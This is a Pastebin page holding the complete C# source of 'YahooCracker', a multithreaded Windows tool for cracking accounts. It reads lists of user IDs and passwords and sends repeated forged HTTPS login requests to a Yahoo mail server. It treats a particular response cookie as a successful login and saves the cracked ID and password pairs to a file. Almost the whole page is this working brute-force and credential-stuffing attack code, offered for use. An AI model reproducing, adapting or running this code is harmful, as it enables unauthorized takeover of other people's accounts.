Advertisement
TrigWasHere

yahooo

Jan 22nd, 2016
58
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.44 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Collections.Concurrent;
  4. using System.ComponentModel;
  5. using System.Data;
  6. using System.Drawing;
  7. using System.Linq;
  8. using System.Text;
  9. using System.Threading.Tasks;
  10. using System.Windows.Forms;
  11. using System.Threading;
  12. using System.Net;
  13. using System.Net.Sockets;
  14. using System.Net.Security;
  15. using System.IO;
  16. using System.Security.Authentication;
  17. using System.Security.Cryptography.X509Certificates;
  18. using System.Resources;
  19. using System.Media;
  20. using System.Diagnostics;
  21. using System.Reflection;
  22. using Microsoft.VisualBasic;
  23.  
  24. namespace YahooCracker
  25. {
  26. public partial class Form1 : Form
  27. {
  28. public string idFileName;
  29. public string pwFileName;
  30. public Thread l;
  31. public Thread t;
  32. public Thread[] crackerThread;
  33. public bool Loading = false;
  34. public List<string> Id = new List<string>();
  35. public long totalId;
  36. public bool isCracking = false;
  37. public string Server;
  38. public static int currId;
  39. public static int currPw;
  40. public int maxThread;
  41.  
  42. public Form1()
  43. {
  44.  
  45. // LicenseGlobal.Seal.Initialize("84470000");
  46.  
  47.  
  48. InitializeComponent();
  49. }
  50.  
  51. public void SaveCracked()
  52. {
  53. if (lstCrack.Items.Count == 0) { return; }
  54. StreamWriter sr = new StreamWriter(Application.StartupPath + "\\Cracked.txt", false);
  55. bool first = true;
  56. foreach (string item in lstCrack.Items)
  57. {
  58. if (first)
  59. {
  60. sr.Write(item);
  61. first = false;
  62. }
  63. else if (!first)
  64. {
  65. sr.Write(Environment.NewLine + item);
  66. }
  67. }
  68. sr.Close();
  69. }
  70.  
  71. public static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
  72. {
  73. if (sslPolicyErrors == SslPolicyErrors.None)
  74. return true;
  75.  
  76. MessageBox.Show(sslPolicyErrors.ToString());
  77.  
  78. // Do not allow this client to communicate with unauthenticated servers.
  79. return false;
  80. }
  81.  
  82. static string ReadMessage(SslStream sslStream)
  83. {
  84. // Read the message sent by the server.
  85. // The end of the message is signaled using the
  86. // "<EOF>" marker.
  87. byte[] buffer = new byte[2048];
  88. StringBuilder messageData = new StringBuilder();
  89. int bytes = -1;
  90. do
  91. {
  92. sslStream.ReadTimeout = 7000;
  93. try
  94. {
  95. bytes = sslStream.Read(buffer, 0, buffer.Length);
  96.  
  97. // Use Decoder class to convert from bytes to UTF8
  98. // in case a character spans two buffers.
  99. Decoder decoder = Encoding.UTF8.GetDecoder();
  100. char[] chars = new char[decoder.GetCharCount(buffer, 0, bytes)];
  101. decoder.GetChars(buffer, 0, bytes, chars, 0);
  102. messageData.Append(chars);
  103. // Check for EOF.
  104. if (messageData.ToString().IndexOf("<EOF>") != -1)
  105. {
  106. break;
  107. }
  108. }
  109. catch (IOException) { }
  110. } while (bytes != 0);
  111.  
  112. return messageData.ToString();
  113. }
  114.  
  115. public void WriteToLabel(Label Lb, string sText)
  116. {
  117. if (Lb.InvokeRequired)
  118. Lb.Invoke((MethodInvoker)delegate()
  119. {
  120. WriteToLabel(Lb, sText);
  121. });
  122. else Lb.Text = sText;
  123. }
  124.  
  125. public void UpdateCmd(Button button, bool enabled)
  126. {
  127. if (button.InvokeRequired)
  128. button.Invoke((MethodInvoker)delegate()
  129. {
  130. UpdateCmd(button, enabled);
  131. });
  132. else button.Enabled = enabled;
  133. }
  134.  
  135. public void UpdateProgBar(ProgressBar prog, long value)
  136. {
  137. if (prog.InvokeRequired)
  138. prog.Invoke((MethodInvoker)delegate()
  139. {
  140. UpdateProgBar(prog, value);
  141. });
  142. else prog.Value = Convert.ToInt32(value);
  143. }
  144.  
  145. public void RemoveListItem(ListBox lst)
  146. {
  147. if (lst.InvokeRequired)
  148. lst.Invoke((MethodInvoker)delegate()
  149. {
  150. RemoveListItem(lst);
  151. });
  152. else if (lst.Items.Count > 0) { lst.Items.RemoveAt(0); }
  153. }
  154.  
  155. public void SelectListItem(ListBox lst, int index)
  156. {
  157. if (lst.InvokeRequired)
  158. lst.Invoke((MethodInvoker)delegate()
  159. {
  160. SelectListItem(lst, index);
  161. });
  162. else lst.SetSelected(index, true);
  163. }
  164.  
  165. public void WriteToText(TextBox TB, string sText)
  166. {
  167. try
  168. {
  169. if (TB.InvokeRequired)
  170. TB.Invoke((MethodInvoker)delegate()
  171. {
  172. WriteToText(TB, sText);
  173. });
  174. else TB.Text = sText;
  175. }
  176. catch (Exception ee)
  177. {
  178. string shit = ee.Message;
  179. }
  180. }
  181.  
  182. private void addToList(ListBox LB, string sText)
  183. {
  184. if (LB.InvokeRequired)
  185. LB.Invoke((MethodInvoker)delegate()
  186. {
  187. addToList(LB, sText);
  188. });
  189. else LB.Items.Add(sText);
  190. }
  191.  
  192. private void clearListBox(ListBox LB)
  193. {
  194. if (LB.InvokeRequired)
  195. LB.Invoke((MethodInvoker)delegate()
  196. {
  197. clearListBox(LB);
  198. });
  199. else LB.Items.Clear();
  200. }
  201.  
  202. public void PlaySound(string wavFile)
  203. {
  204. Assembly assem;
  205. SoundPlayer sPlayer;
  206. assem = Assembly.GetExecutingAssembly();
  207. sPlayer = new SoundPlayer(assem.GetManifestResourceStream("YahooCracker." + wavFile));
  208. sPlayer.Play();
  209. }
  210.  
  211. private void LoadListBox()
  212. {
  213. Loading = true;
  214. if (lstPass.Items.Count > 0) { clearListBox(lstPass); }
  215.  
  216. string[] lines = File.ReadAllLines(pwFileName);
  217. foreach (string line in lines)
  218. {
  219. if (line != null)
  220. {
  221. if (checkDupe.Checked)
  222. {
  223. if (!lstPass.Items.Contains(line))
  224. {
  225. addToList(lstPass, line);
  226. WriteToLabel(lblStatus, "Status: Loading " + lstPass.Items.Count + " Pws ...");
  227. }
  228. }
  229. else
  230. {
  231. addToList(lstPass, line);
  232. WriteToLabel(lblStatus, "Status: Loading " + lstPass.Items.Count + " Pws ...");
  233. }
  234. }
  235. }
  236. Loading = false;
  237. WriteToLabel(lblStatus, "Status: Successfully Loaded " + lstPass.Items.Count + " Pws.");
  238. }
  239.  
  240. private void LoadList()
  241. {
  242. Loading = true;
  243. if (Id.Count > 0) { Id.Clear(); }
  244.  
  245. string[] lines = File.ReadAllLines(idFileName);
  246. totalId = 0;
  247.  
  248. foreach (string line in lines)
  249. {
  250. if (line != null)
  251. {
  252. if (checkDupe.Checked)
  253. {
  254. if (!Id.Contains<string>(line.ToLower()))
  255. {
  256. Id.Add(line.ToLower());
  257. WriteToLabel(lblStatus, "Status: Loading " + Id.Count + " Ids ...");
  258. }
  259. }
  260. else
  261. {
  262. Id.Add(line.ToLower());
  263. WriteToLabel(lblStatus, "Status: Loading " + Id.Count + " Ids ...");
  264. }
  265. }
  266. }
  267. Loading = false;
  268. totalId = Id.Count;
  269. WriteToLabel(lblStatus, "Status: Successfully Loaded " + Id.Count + " Ids.");
  270. WriteToLabel(lblTotalId, totalId.ToString());
  271. }
  272.  
  273. private void YahooLogin()
  274. {
  275. reStart:
  276. try
  277. {
  278. while (isCracking)
  279. {
  280. bool first = false;
  281. int currentId;
  282. int currentPw;
  283. if (currId == 0) { first = true; }
  284. if (!first) { currId++; }
  285.  
  286. if (currId >= totalId)
  287. {
  288. currPw++;
  289. if (currPw >= lstPass.Items.Count)
  290. {
  291. Thread.CurrentThread.Join(6000);
  292. break;
  293. }
  294. else
  295. {
  296. currId = 0;
  297. UpdateProgBar(Prog, 0);
  298. WriteToLabel(lblIdLeft, totalId.ToString());
  299. SelectListItem(lstPass, currPw);
  300. }
  301. }
  302. currentId = currId;
  303. currentPw = currPw;
  304.  
  305. reTry:
  306. TcpClient sslSocket = new TcpClient(Server, 443);
  307. SslStream sStream = new SslStream(sslSocket.GetStream(), false, new RemoteCertificateValidationCallback(ValidateServerCertificate), null);
  308. string UserId = (txtBefore.Text + Id[currentId] + txtAfter.Text).Replace(" ", "+");
  309. string PassWord = lstPass.Items[currentPw].ToString();
  310.  
  311. try
  312. {
  313. sStream.AuthenticateAsClient(Server);
  314. }
  315. catch (AuthenticationException Ae)
  316. {
  317. WriteToText(txtData, Ae.Message);
  318. if (Ae.InnerException != null)
  319. {
  320. WriteToText(txtData, Ae.InnerException.ToString());
  321. }
  322. WriteToLabel(lblStatus, "Status: SSL Auth Failed - Closing Connection.");
  323. sslSocket.Close();
  324. goto reTry;
  325. }
  326. catch (Exception shit) { WriteToText(txtData, shit.Message); goto reTry; }
  327.  
  328. string timeStamp = Math.Round((DateTime.UtcNow - new DateTime(1970, 1, 1, 0, 0, 0)).TotalMilliseconds).ToString();
  329.  
  330. string Post = "countrycode=1" + "username=" + UserId + "&passwd=" + PassWord + "&signin=&_ts=" + timeStamp + "&_tpa=&_muh=&_crumb=4jnpJODxBch&_uuid=UMMhvNHNXufh&_seqid=5&otp_channel=&otp_ref_cc_intl=";
  331.  
  332. string Pck = "POST https://mail.yahoo-inc.com/t HTTP/1.1\n" +
  333. "Host: mail.yahoo-inc.com\n" +
  334. "Connection: keep-alive\n" +
  335. "Content-Length: " + Post.Length + "\n" +
  336. "X-Requested-With: XMLHttpRequest\n" +
  337. "X-PJAX: true\n" +
  338. "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36\n" +
  339. "Content-Type: application/x-www-form-urlencoded; charset=UTF-8\n" +
  340. "Accept: */*\n" +
  341. "Referer: https://mail.yahoo-inc.com/t" +
  342. "Accept-Language: en-US,en;q=0.8\n" +
  343. "Cookie: BX=br2245laad8v0&b=3&s=78; ywandp=10001756605956%3A1631432904; fpc=10001756605956%3AZaKqaTzx%7C%7C\n\n" + Post + "\n\n<EOF>";
  344.  
  345. try
  346. {
  347. byte[] message = Encoding.UTF8.GetBytes(Pck);
  348. sStream.Write(message);
  349. sStream.Flush();
  350. string serverMessage = ReadMessage(sStream);
  351.  
  352. if (checkReturnData.Checked) { WriteToText(txtData, serverMessage); }
  353. WriteToLabel(lblCurrId, UserId);
  354. WriteToLabel(lblCurrPw, PassWord);
  355. if (currId <= totalId) { UpdateProgBar(Prog, currId); }
  356. WriteToLabel(lblIdLeft, (totalId - (currentId + 1)).ToString());
  357.  
  358. sslSocket.Close();
  359. //if (serverMessage.Contains("204 No Response"))
  360. {
  361. if (serverMessage.Contains("Set-Cookie: AO=u=1"))
  362. {
  363. addToList(lstCrack, UserId + " - " + PassWord);
  364. SaveCracked();
  365. PlaySound("Data_8.wav");
  366. }
  367. }
  368. }
  369. catch (Exception ex)
  370. {
  371. WriteToText(txtData, ex.Message);
  372. goto reTry;
  373. }
  374. if (currId == 0) { currId++; first = false; }
  375. }
  376. WriteToLabel(lblStatus, "Status: Cracking Finished.");
  377. WriteToLabel(lblCurrId, "-");
  378. WriteToLabel(lblCurrPw, "-");
  379. WriteToLabel(lblIdLeft, "0");
  380. UpdateProgBar(Prog, 0);
  381. UpdateCmd(cmdStart, true);
  382. UpdateCmd(cmdStop, false);
  383. Thread.CurrentThread.Join(6000);
  384. }
  385. catch (SocketException SE) { WriteToText(txtData, SE.Message); goto reStart; }
  386. catch (Exception e) { WriteToText(txtData, e.Message); goto reStart; }
  387.  
  388. }
  389.  
  390. private void cmdSaveCrack_Click(object sender, EventArgs e)
  391. {
  392. if (lstCrack.Items.Count == 0) { lblStatus.Text = "Status: Nothing To Save."; return; }
  393. var saveFile = new SaveFileDialog();
  394. saveFile.Filter = "Text (*.txt)|*.txt";
  395. if (saveFile.ShowDialog() == DialogResult.OK)
  396. {
  397. bool first = true;
  398. using (var sw = new StreamWriter(saveFile.FileName, false))
  399. foreach (var item in lstCrack.Items)
  400. {
  401. if (first)
  402. {
  403. sw.Write(item.ToString());
  404. first = false;
  405. }
  406. else if (!first)
  407. {
  408. sw.Write(Environment.NewLine + item.ToString());
  409. }
  410. }
  411. }
  412. }
  413.  
  414. private void cmdLoadId_Click(object sender, EventArgs e)
  415. {
  416. if (Loading) { return; }
  417.  
  418. DialogResult idResult = oFD.ShowDialog();
  419. if (idResult == DialogResult.OK)
  420. {
  421. idFileName = oFD.FileName;
  422. txtIdPath.Text = idFileName;
  423. l = new Thread(new ThreadStart(LoadList));
  424. l.Start();
  425. }
  426. else { lblStatus.Text = "Status: Load an Id file."; }
  427.  
  428. }
  429.  
  430. private void cmdLoadPass_Click(object sender, EventArgs e)
  431. {
  432. if (Loading) { return; }
  433.  
  434. DialogResult pwResult = oFD.ShowDialog();
  435. if (pwResult == DialogResult.OK)
  436. {
  437. pwFileName = oFD.FileName;
  438. t = new Thread(new ThreadStart(LoadListBox));
  439. t.Start();
  440. }
  441. else { lblStatus.Text = "Status: Load a Pw file."; }
  442. }
  443.  
  444. private void cmdStart_Click(object sender, EventArgs e)
  445. {
  446. if (Id.Count == 0) { lblStatus.Text = "Status: Load an Id file."; return; }
  447. if (lstPass.Items.Count == 0) { lblStatus.Text = "Status: Load a Pw file."; return; }
  448. if (txtServer.Text == "") { lblStatus.Text = "Status: Enter a server."; return; }
  449. if ((!Information.IsNumeric(txtThread.Text)) || (Convert.ToInt32(txtThread.Text) < 1) || (Convert.ToInt32(txtThread.Text) > 100)) { lblStatus.Text = "Status: Enter a thread count between 1 and 100"; return; }
  450.  
  451. maxThread = Convert.ToInt32(txtThread.Text);
  452. totalId = Id.Count;
  453. currId = 0;
  454. currPw = 0;
  455. Prog.Minimum = 0;
  456. Prog.Maximum = Convert.ToInt32(totalId);
  457. Prog.Value = 0;
  458. lblTotalId.Text = totalId.ToString();
  459. lblIdLeft.Text = totalId.ToString();
  460. Server = txtServer.Text;
  461. lstPass.SetSelected(0, true);
  462. lblStatus.Text = "Status: Cracking in progress ...";
  463. isCracking = true;
  464. cmdStart.Enabled = false;
  465. cmdStop.Enabled = true;
  466.  
  467. crackerThread = new Thread[maxThread];
  468. for (int i = 0; i <= (crackerThread.Length -1); i++)
  469. {
  470. crackerThread[i] = new Thread(new ThreadStart(YahooLogin));
  471. crackerThread[i].Start();
  472. }
  473. }
  474.  
  475. private void cmdStop_Click(object sender, EventArgs e)
  476. {
  477. isCracking = false;
  478. cmdStop.Enabled = false;
  479. cmdStart.Enabled = true;
  480. }
  481.  
  482. private void cmdAddPass_Click(object sender, EventArgs e)
  483. {
  484. if (txtAddPw.Text != "")
  485. {
  486. if (checkDupe.Checked)
  487. {
  488. if (!lstPass.Items.Contains(txtAddPw.Text)) { lstPass.Items.Add(txtAddPw.Text); } else { lblStatus.Text = "Status: Pw already in list."; return; }
  489. }
  490. else { lstPass.Items.Add(txtAddPw.Text); }
  491. txtAddPw.Text = "";
  492. }
  493. else { lblStatus.Text = "Status: Input a Pw to enter."; }
  494. }
  495.  
  496. private void cmdClearPass_Click(object sender, EventArgs e)
  497. {
  498. lstPass.Items.Clear();
  499. lblStatus.Text = "Status: User Ids cleared.";
  500. }
  501.  
  502. private void cmdRemovePass_Click(object sender, EventArgs e)
  503. {
  504. if (lstPass.SelectedItem != null)
  505. {
  506. lstPass.Items.Remove(lstPass.SelectedItem);
  507. }
  508. else { lblStatus.Text = "Status: Select a Pw to remove."; }
  509. }
  510.  
  511. private void txtAddPw_TextChanged(object sender, EventArgs e)
  512. {
  513.  
  514. }
  515.  
  516. private void txtAddPw_KeyDown(object sender, KeyEventArgs e)
  517. {
  518. if (e.KeyCode == Keys.Enter) { cmdAddPass.PerformClick(); }
  519. }
  520.  
  521. private void cmdClearCrack_Click(object sender, EventArgs e)
  522. {
  523. lstCrack.Items.Clear();
  524. lblStatus.Text = "Status: Cracked Ids cleared.";
  525. }
  526.  
  527. private void cmdCopyCrack_Click(object sender, EventArgs e)
  528. {
  529. if (lstCrack.SelectedItem != null)
  530. {
  531. Clipboard.SetText(lstCrack.SelectedItem.ToString());
  532. }
  533. else { return; }
  534. }
  535.  
  536. private void checkReturnData_CheckedChanged(object sender, EventArgs e)
  537. {
  538. if (checkReturnData.Checked)
  539. {
  540. this.Width = 1190;
  541. }
  542. else { this.Width = 1190; }
  543. }
  544.  
  545. private void Form1_Load(object sender, EventArgs e)
  546. {
  547. label4.BackColor = Color.Transparent;
  548. ToolTip tip = new ToolTip();
  549. tip.AutomaticDelay = 5000;
  550. tip.InitialDelay = 500;
  551. tip.ReshowDelay = 500;
  552. tip.ShowAlways = false;
  553.  
  554. tip.SetToolTip(this.checkDupe, "Prevents duplicate items from loading into your User Id and Password file.");
  555. tip.SetToolTip(this.checkReturnData, "Displays server return data into a text box. WARNING: SLOWS CRACKING (NOT RECOMMENDED!)");
  556. tip.SetToolTip(this.txtThread, "Threads: [Min: 1] [Max: 100]");
  557. tip.SetToolTip(this.cmdStart, "Start Cracking");
  558. tip.SetToolTip(this.cmdStop, "Stop Cracking");
  559. tip.SetToolTip(this.cmdLoadId, "Load an Id file for cracking");
  560. tip.SetToolTip(this.cmdLoadPass, "Load a Password file");
  561. tip.SetToolTip(this.cmdClearPass, "Clear your password list");
  562. tip.SetToolTip(this.cmdRemovePass, "Remove selected password from list");
  563. tip.SetToolTip(this.cmdAddPass, "Add Password input to your password list");
  564. tip.SetToolTip(this.cmdSaveCrack, "Save current cracked Ids");
  565. tip.SetToolTip(this.cmdClearCrack, "Clear your cracked list");
  566. tip.SetToolTip(this.cmdCopyCrack, "Copy selected cracked Id and Password to your clipboard");
  567. tip.SetToolTip(this.txtServer, "Input Yahoo Login server");
  568. tip.SetToolTip(this.txtBefore, "Input characters here to be used before all User Ids");
  569. tip.SetToolTip(this.txtAfter, "Input characters here to be used after all User Ids");
  570. }
  571.  
  572. private void lblStatus_Click(object sender, EventArgs e)
  573. {
  574.  
  575. }
  576. }
  577. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement